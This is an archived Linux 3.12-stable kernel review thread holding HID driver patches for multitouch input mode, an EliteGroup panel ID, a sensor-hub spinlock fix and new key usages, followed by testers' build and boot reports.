@@ -68,6 +68,9 @@ MODULE_LICENSE("GPL");#define MT_QUIRK_HOVERING (1 << 11)#define MT_QUIRK_CONTACT_CNT_ACCURATE (1 << 12) +#define MT_INPUTMODE_TOUCHSCREEN 0x02 +#define MT_INPUTMODE_TOUCHPAD 0x03 +struct mt_slot {__s32 x, y, cx, cy, p, w, h;__s32 contactid;/* the device ContactID assigned to this slot */
@@ -105,6 +108,7 @@ struct mt_device {__s16 inputmode_index;/* InputMode HID feature index in the report */ __s16 maxcontact_report_id;/* Maximum Contact Number HID feature, -1 if non-existent */ +__u8 inputmode_value;/* InputMode HID feature value */ __u8 num_received;/* how many contacts we received */ __u8 num_expected;/* expected last contact index */ __u8 maxcontacts;
@@ -415,8 +419,10 @@ static int mt_touch_input_mapping(struct hid_device *hdev, struct hid_input *hi,* Model touchscreens providing buttons as touchpads. */ if (field->application ==HID_DG_TOUCHPAD || - (usage->hid &HID_USAGE_PAGE ) ==HID_UP_BUTTON ) + (usage->hid &HID_USAGE_PAGE ) ==HID_UP_BUTTON ) { td->mt_flags |=INPUT_MT_POINTER ; + td->inputmode_value =MT_INPUTMODE_TOUCHPAD ; + }if (usage->usage_index) prev_usage = &field->usage[usage->usage_index -1 ];
@@ -841,7 +847,7 @@ static void mt_set_input_mode(struct hid_device *hdev) re = &(hdev->report_enum[HID_FEATURE_REPORT ]); r = re->report_id_hash[td->inputmode];if (r) { - r->field[0 ]->value[td->inputmode_index] =0x02 ; + r->field[0 ]->value[td->inputmode_index] = td->inputmode_value;hid_hw_request (hdev, r,HID_REQ_SET_REPORT ); } }
@@ -973,6 +979,7 @@ static int mt_probe(struct hid_device *hdev, const struct hid_device_id *id) td->mtclass = *mtclass; td->inputmode =-1 ; td->maxcontact_report_id =-1 ; + td->inputmode_value =MT_INPUTMODE_TOUCHSCREEN ; td->cc_index =-1 ; td->mt_report_id =-1 ; td->pen_report_id =-1 ;
Signature · 1 line
2.4.6
PATCH 120/124 HID: multitouch: add support of EliteGroup 05D8 panels
In reply to Jiri SlabyFrom: Tomas Sokorai <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7c7606a2464fee1cf50efef34aa44aee1edf453a upstream.
They need to have the class SERIAL.
Note: it is a Win 7 panel, not Win 8 certified.
--- drivers/hid/hid-ids.h | 3 +++ drivers/hid/hid-multitouch.c | 5 +++++ 2 files changed, 8 insertions(+)
drivers/hid/hid-ids.h +3 -0
@@ -303,6 +303,9 @@#define USB_VENDOR_ID_DREAM_CHEEKY 0x1d34 +#define USB_VENDOR_ID_ELITEGROUP 0x03fc +#define USB_DEVICE_ID_ELITEGROUP_05D8 0x05d8 +#define USB_VENDOR_ID_ELO 0x04E7#define USB_DEVICE_ID_ELO_TS2515 0x0022#define USB_DEVICE_ID_ELO_TS2700 0x0020
drivers/hid/hid-multitouch.c +5 -0
@@ -1163,6 +1163,11 @@ static const struct hid_device_id mt_devices[] = { MT_USB_DEVICE(USB_VENDOR_ID_DWAV, USB_DEVICE_ID_DWAV_EGALAX_MULTITOUCH_A001) }, +/* Elitegroup panel */ + { .driver_data = MT_CLS_SERIAL, +MT_USB_DEVICE (USB_VENDOR_ID_ELITEGROUP , + USB_DEVICE_ID_ELITEGROUP_05D8) }, + /* Elo TouchSystems IntelliTouch Plus panel */ { .driver_data = MT_CLS_DUAL_CONTACT_ID, MT_USB_DEVICE(USB_VENDOR_ID_ELO,
Signature · 1 line
2.4.6
PATCH 121/124 HID: hid-sensor-hub: fix sleeping function called from invalid context
In reply to Jiri SlabyFrom: Srinivas Pandruvada <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit f74346a04b79c9a5e50a2ee5e923b94195975d17 upstream.
Fix issue with the sleeping calling hid_hw_request under spinlock. When i2c is used as HID transport, this is calling kmalloc, which can sleep. So remove call to this function while under spinlock.
[ 1067.021961] Call Trace: [ 1067.021970] [<ffffffff8192f5f2>] dump_stack+0x4d/0x6f [ 1067.021976] [<ffffffff811109f2>] __might_sleep+0xd2/0xf0 [ 1067.021981] [<ffffffff811ea15b>] __kmalloc+0xeb/0x200 [ 1067.021989] [<ffffffff816e0cb3>] ? hid_alloc_report_buf+0x23/0x30 [ 1067.021993] [<ffffffff816e0cb3>] hid_alloc_report_buf+0x23/0x30 [ 1067.021997] [<ffffffff816f4cb7>] i2c_hid_request+0x57/0x110 [ 1067.022006] [<ffffffffa02bc61c>] sensor_hub_input_attr_get_raw_value+0xbc/0x100 [hid_sensor_hub]
--- drivers/hid/hid-sensor-hub.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-)
drivers/hid/hid-sensor-hub.c +3 -4
@@ -255,13 +255,12 @@ int sensor_hub_input_attr_get_raw_value(struct hid_sensor_hub_device *hsdev,spin_lock_irqsave (&data->lock, flags); data->pending.status = true; +spin_unlock_irqrestore (&data->lock, flags); report =sensor_hub_report (report_id, hsdev->hdev,HID_INPUT_REPORT ); -if (!report) { -spin_unlock_irqrestore (&data->lock, flags); +if (!report) goto err_free; - } +hid_hw_request (hsdev->hdev, report,HID_REQ_GET_REPORT ); -spin_unlock_irqrestore (&data->lock, flags);wait_for_completion_interruptible_timeout (&data->pending.ready,HZ *5 );switch (data->pending.raw_size) {case 1 :
Signature · 1 line
2.4.6
PATCH 122/124 HID: Add some missing HUT mappings
In reply to Jiri SlabyFrom: Hans de Goede <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 5820e4d4ae17c0994c93d0537bd1a184267f3cae upstream.
Add mapping for "AL Next Task/Application", "AL Previous Task/Application" and "AL File Browser" buttons, as found on the Microsoft Office keyboard.
Note that there already is a mapping for "AL Local Machine Browser" to KEY_FILE. Unless we ever encounter a device with both that should not be a problem.
--- drivers/hid/hid-input.c | 3 +++ 1 file changed, 3 insertions(+)
drivers/hid/hid-input.c +3 -0
@@ -795,10 +795,13 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fielcase 0x199 :map_key_clear (KEY_CHAT );break ;case 0x19c :map_key_clear (KEY_LOGOFF );break ;case 0x19e :map_key_clear (KEY_COFFEE );break ; +case 0x1a3 :map_key_clear (KEY_NEXT );break ; +case 0x1a4 :map_key_clear (KEY_PREVIOUS );break ;case 0x1a6 :map_key_clear (KEY_HELP );break ;case 0x1a7 :map_key_clear (KEY_DOCUMENTS );break ;case 0x1ab :map_key_clear (KEY_SPELLCHECK );break ;case 0x1ae :map_key_clear (KEY_KEYBOARD );break ; +case 0x1b4 :map_key_clear (KEY_FILE );break ;case 0x1b6 :map_key_clear (KEY_IMAGES );break ;case 0x1b7 :map_key_clear (KEY_AUDIO );break ;case 0x1b8 :map_key_clear (KEY_VIDEO );break ;
Signature · 1 line
2.4.6
PATCH 123/124 HID: add missing hid usages
In reply to Jiri SlabyFrom: Olivier Gay <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit f362e690e5530dd8ace289da991bda558731678e upstream.
Add some missing hid usages from consumer page, add some display brightness control usages from approved hid usage table request HUTTR41:
http://www.usb.org/developers/hidpage/HUTRR41.pdf
and add voice command usage from approved request HUTTR45:
http://www.usb.org/developers/hidpage/Voice_Command_Usage.pdf
[[email protected]: removed KEY_BRIGHTNESS_TOGGLE / KEY_DISPLAYTOGGLE
conflict from hid-debug.c]
--- drivers/hid/hid-debug.c | 10 ++++++++++ drivers/hid/hid-input.c | 14 ++++++++++++++ include/uapi/linux/input.h | 17 ++++++++++++++++- 3 files changed, 40 insertions(+), 1 deletion(-)
drivers/hid/hid-debug.c +10 -0
@@ -852,6 +852,16 @@ static const char *keys[KEY_MAX + 1] = { [KEY_KBDILLUMDOWN] = "KbdIlluminationDown", [KEY_KBDILLUMUP] = "KbdIlluminationUp", [KEY_SWITCHVIDEOMODE] = "SwitchVideoMode", + [KEY_BUTTONCONFIG] = "ButtonConfig", + [KEY_TASKMANAGER] = "TaskManager", + [KEY_JOURNAL] = "Journal", + [KEY_CONTROLPANEL] = "ControlPanel", + [KEY_APPSELECT] = "AppSelect", + [KEY_SCREENSAVER] = "ScreenSaver", + [KEY_VOICECOMMAND] = "VoiceCommand", + [KEY_BRIGHTNESS_MIN] = "BrightnessMin", + [KEY_BRIGHTNESS_MAX] = "BrightnessMax", + [KEY_BRIGHTNESS_AUTO] = "BrightnessAuto", };static const char *relatives[REL_MAX +1 ] = {
drivers/hid/hid-input.c +14 -0
@@ -727,6 +727,13 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fielcase 0x06c :map_key_clear (KEY_YELLOW );break ;case 0x06d :map_key_clear (KEY_ZOOM );break ; +case 0x06f :map_key_clear (KEY_BRIGHTNESSUP );break ; +case 0x070 :map_key_clear (KEY_BRIGHTNESSDOWN );break ; +case 0x072 :map_key_clear (KEY_BRIGHTNESS_TOGGLE );break ; +case 0x073 :map_key_clear (KEY_BRIGHTNESS_MIN );break ; +case 0x074 :map_key_clear (KEY_BRIGHTNESS_MAX );break ; +case 0x075 :map_key_clear (KEY_BRIGHTNESS_AUTO );break ; +case 0x082 :map_key_clear (KEY_VIDEO_NEXT );break ;case 0x083 :map_key_clear (KEY_LAST );break ;case 0x084 :map_key_clear (KEY_ENTER );break ;
@@ -767,6 +774,7 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fielcase 0x0bf :map_key_clear (KEY_SLOW );break ;case 0x0cd :map_key_clear (KEY_PLAYPAUSE );break ; +case 0x0cf :map_key_clear (KEY_VOICECOMMAND );break ;case 0x0e0 :map_abs_clear (ABS_VOLUME );break ;case 0x0e2 :map_key_clear (KEY_MUTE );break ;case 0x0e5 :map_key_clear (KEY_BASSBOOST );break ;
@@ -774,6 +782,7 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fielcase 0x0ea :map_key_clear (KEY_VOLUMEDOWN );break ;case 0x0f5 :map_key_clear (KEY_SLOW );break ; +case 0x181 :map_key_clear (KEY_BUTTONCONFIG );break ;case 0x182 :map_key_clear (KEY_BOOKMARKS );break ;case 0x183 :map_key_clear (KEY_CONFIG );break ;case 0x184 :map_key_clear (KEY_WORDPROCESSOR );break ;
@@ -787,6 +796,8 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fielcase 0x18c :map_key_clear (KEY_VOICEMAIL );break ;case 0x18d :map_key_clear (KEY_ADDRESSBOOK );break ;case 0x18e :map_key_clear (KEY_CALENDAR );break ; +case 0x18f :map_key_clear (KEY_TASKMANAGER );break ; +case 0x190 :map_key_clear (KEY_JOURNAL );break ;case 0x191 :map_key_clear (KEY_FINANCE );break ;case 0x192 :map_key_clear (KEY_CALC );break ;case 0x193 :map_key_clear (KEY_PLAYER );break ;
@@ -795,12 +806,15 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fielcase 0x199 :map_key_clear (KEY_CHAT );break ;case 0x19c :map_key_clear (KEY_LOGOFF );break ;case 0x19e :map_key_clear (KEY_COFFEE );break ; +case 0x19f :map_key_clear (KEY_CONTROLPANEL );break ; +case 0x1a2 :map_key_clear (KEY_APPSELECT );break ;case 0x1a3 :map_key_clear (KEY_NEXT );break ;case 0x1a4 :map_key_clear (KEY_PREVIOUS );break ;case 0x1a6 :map_key_clear (KEY_HELP );break ;case 0x1a7 :map_key_clear (KEY_DOCUMENTS );break ;case 0x1ab :map_key_clear (KEY_SPELLCHECK );break ;case 0x1ae :map_key_clear (KEY_KEYBOARD );break ; +case 0x1b1 :map_key_clear (KEY_SCREENSAVER );break ;case 0x1b4 :map_key_clear (KEY_FILE );break ;case 0x1b6 :map_key_clear (KEY_IMAGES );break ;case 0x1b7 :map_key_clear (KEY_AUDIO );break ;
include/uapi/linux/input.h +16 -1
@@ -462,7 +462,10 @@ struct input_keymap_entry {#define KEY_VIDEO_NEXT 241/* drive next video source */ #define KEY_VIDEO_PREV 242/* drive previous video source */ #define KEY_BRIGHTNESS_CYCLE 243/* brightness up, after max is min */ -#define KEY_BRIGHTNESS_ZERO 244/* brightness off, use ambient */ +#define KEY_BRIGHTNESS_AUTO 244/* Set Auto Brightness: manual +brightness control is off, +rely on ambient */ +#define KEY_BRIGHTNESS_ZERO KEY_BRIGHTNESS_AUTO#define KEY_DISPLAY_OFF 245/* display device to off state */ #define KEY_WIMAX 246
@@ -631,6 +634,7 @@ struct input_keymap_entry {#define KEY_ADDRESSBOOK 0x1ad/* AL Contacts/Address Book */ #define KEY_MESSENGER 0x1ae/* AL Instant Messaging */ #define KEY_DISPLAYTOGGLE 0x1af/* Turn display (LCD) on and off */ +#define KEY_BRIGHTNESS_TOGGLE KEY_DISPLAYTOGGLE#define KEY_SPELLCHECK 0x1b0/* AL Spell Check */ #define KEY_LOGOFF 0x1b1/* AL Logoff */
@@ -720,6 +724,17 @@ struct input_keymap_entry {#define BTN_DPAD_LEFT 0x222#define BTN_DPAD_RIGHT 0x223 +#define KEY_BUTTONCONFIG 0x240/* AL Button Configuration */ +#define KEY_TASKMANAGER 0x241/* AL Task/Project Manager */ +#define KEY_JOURNAL 0x242/* AL Log/Journal/Timecard */ +#define KEY_CONTROLPANEL 0x243/* AL Control Panel */ +#define KEY_APPSELECT 0x244/* AL Select Task/Application */ +#define KEY_SCREENSAVER 0x245/* AL Screen Saver */ +#define KEY_VOICECOMMAND 0x246/* Listening Voice Command */ + +#define KEY_BRIGHTNESS_MIN 0x250/* Set Brightness to Minimum */ +#define KEY_BRIGHTNESS_MAX 0x251/* Set Brightness to Maximum */ +#define BTN_TRIGGER_HAPPY 0x2c0#define BTN_TRIGGER_HAPPY1 0x2c0#define BTN_TRIGGER_HAPPY2 0x2c1
Signature · 1 line
2.4.6
PATCH 124/124 HID: core: add two new usages for digitizer
In reply to Jiri SlabyFrom: Ping Cheng <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 368c96640d10a145da5f258f2d2833668d4f3629 upstream.
On Feb 17, 2014, two new usages are approved to HID usage Table 18 - Digitizer Page:
5A Secondary Barrel Switch MC 16.4
5B Transducer Serial Number SV 16.3.1
This patch adds relevant definitions to hid/input. It also removes outdated comments in hid.h.
--- drivers/hid/hid-debug.c | 2 ++ drivers/hid/hid-input.c | 5 +++++ include/linux/hid.h | 7 ++----- 3 files changed, 9 insertions(+), 5 deletions(-)
drivers/hid/hid-debug.c +2 -0
@@ -165,6 +165,8 @@ static const struct hid_usage_entry hid_usage_table[] = { {0, 0x53, "DeviceIndex"}, {0, 0x54, "ContactCount"}, {0, 0x55, "ContactMaximumNumber"}, + {0, 0x5A, "SecondaryBarrelSwitch"}, + {0, 0x5B, "TransducerSerialNumber"}, { 15, 0, "PhysicalInterfaceDevice" }, {0, 0x00, "Undefined"}, {0, 0x01, "Physical_Interface_Device"},
drivers/hid/hid-input.c +5 -0
@@ -690,9 +690,14 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fielbreak ;case 0x46 :/* TabletPick */ +case 0x5a :/* SecondaryBarrelSwitch */ map_key_clear (BTN_STYLUS2 );break ; +case 0x5b :/* TransducerSerialNumber */ +set_bit (MSC_SERIAL , input->mscbit); +break ; +default : goto unknown; }break ;
include/linux/hid.h +2 -5
@@ -230,11 +230,6 @@ struct hid_item {#define HID_DG_BARRELSWITCH 0x000d0044#define HID_DG_ERASER 0x000d0045#define HID_DG_TABLETPICK 0x000d0046 -/* -* as of May 20, 2009 the usages below are not yet in the official USB spec -* but are being pushed by Microsft as described in their paper "Digitizer -* Drivers for Windows Touch and Pen-Based Computers" -*/ #define HID_DG_CONFIDENCE 0x000d0047#define HID_DG_WIDTH 0x000d0048#define HID_DG_HEIGHT 0x000d0049
@@ -243,6 +238,8 @@ struct hid_item {#define HID_DG_DEVICEINDEX 0x000d0053#define HID_DG_CONTACTCOUNT 0x000d0054#define HID_DG_CONTACTMAX 0x000d0055 +#define HID_DG_BARRELSWITCH2 0x000d005a +#define HID_DG_TOOLSERIALNUMBER 0x000d005b/* * HID report types --- Ouch! HID spec says 1 2 3!
Signature · 1 line
2.4.6
Quoted 8 lines · Jiri Slaby
This is the start of the stable review cycle for the 3.12.45 release. There are 124 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Thu Jul 30 11:41:24 CEST 2015. Anything received after that time might be too late.
Buils results:
total: 129 pass: 129 fail: 0 Qemu test results: total: 29 pass: 29 fail: 0
Details are available at http://server.roeck-us.net:8010/builders.
Guenter
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
Quoted 14 lines · Guenter Roeck
Quoted 8 lines · Jiri Slaby
This is the start of the stable review cycle for the 3.12.45 release. There are 124 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Thu Jul 30 11:41:24 CEST 2015. Anything received after that time might be too late.
Buils results: total: 129 pass: 129 fail: 0 Qemu test results:
total: 29 pass: 29 fail: 0Details are available at http://server.roeck-us.net:8010/builders.
Quoted 1 line · Shuah Khan
Compiled and booted on my test system. No dmesg regressions.
Thank you both!
- --
js
suse labs
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
iQIcBAEBCAAGBQJVvyGRAAoJEL0lsQQGtHBJCnsQAIyUvCSrbbLxqvlRgtC/4WqJ RHcHcn+NEw+gEO6TZqyhgFzj0VhCEWlWvVJjcCkB5wC2+qGMvyATd1BKpSj/c+0c XGNTPKZzgKWaqcdaG2WD7sQh/UVrWRXgjoz9AzBM4SHknEQQ9WG2XiAWRSxLH4+i u+KfVPzcK8Yz8aDELgcbcu8jD+erltiVK5PEb0xanDe06oJqhYip77jniLeXtzAo cOE3eS8YE0Lw+AFzFORE3JmPf3zpRJ82qRxerMUKRr3LoAFswYyfE/Y5rvxSC6I/ hngCyP2siGmPR7iwRhXiqboee2H/xA5csOnozPZIIn8N8UFNUelUv3OYc/eANyC+ gV74lrSW88DZviac5Oa5uQ6U1W/VXtEIJ6MTo6Y+Nq1tAqoun0nVP6GbspU5jXFh WVrNzWPP1/ZMpQWmRwkquqk9hn3CPEplsJNCkOPPYbz2ezGuQUJYkzhUyrjgKeWP 2/j0WhfIcn9cQ8+YGpEWIYW3pLHgyYc5YEMGAB1qqwZlVjpvWI/YhoEBl9cxMvTr oRBYWfAu4z0CRfMox3XW5wwm2F7yjPA4MaLZtfIHtY4Nfd5mDtz/7WHRJWihAc/0 JwFlnmXJ5lTKXVIBaDM3ygCEFPEPOF3gZ7NSEkeMkDsos8DcKsBzbZ6ZydVs7Lvh uOWB3YVTx8T1TGY0M3G5
=RnKh
-----END PGP SIGNATURE-----
Quoted 5 lines · Jiri Slaby
This is the start of the stable review cycle for the 3.12.45 release. There are 124 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Quoted 7 lines
Responses should be made by Thu Jul 30 11:41:24 CEST 2015. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
http://kernel.org/pub/linux/kernel/people/jirislaby/stable-review/patch-3.12.45-rc1.xzand the diffstat can be found below.
Compiled and booted on my test system. No dmesg regressions.
thanks,
-- Shuah
Signature · 5 lines
Shuah Khan Sr. Linux Kernel Developer Open Source Innovation Group Samsung Research America (Silicon Valley) [email protected] | (970) 217-8978